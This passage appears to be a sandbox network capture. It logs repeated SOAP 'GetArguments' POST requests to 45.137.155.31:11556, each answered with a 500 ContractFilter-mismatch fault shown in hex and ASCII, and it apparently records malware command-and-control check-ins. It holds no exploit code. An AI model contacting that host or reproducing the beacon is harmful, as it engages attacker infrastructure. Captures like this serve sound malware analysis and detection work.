Aug 3, 2021 23:09:55.281048059 CEST	10697	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:54 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:56.296049118 CEST	10697	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:56.380639076 CEST	10697	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:56.450217962 CEST	10698	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:55 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:57.467809916 CEST	10699	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:57.538265944 CEST	10699	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:57.613348961 CEST	10701	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:56 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:58.625468016 CEST	10701	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:58.694870949 CEST	10701	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:58.765242100 CEST	10702	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:57 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:59.781100035 CEST	10702	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:59.849970102 CEST	10702	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:59.922252893 CEST	10704	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:58 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:10:00.937392950 CEST	10704	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:10:01.006602049 CEST	10704	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:10:01.087409019 CEST	10705	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:10:00 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:10:02.093358040 CEST	10705	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:10:02.163235903 CEST	10706	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:10:02.234370947 CEST	10707	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:10:01 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 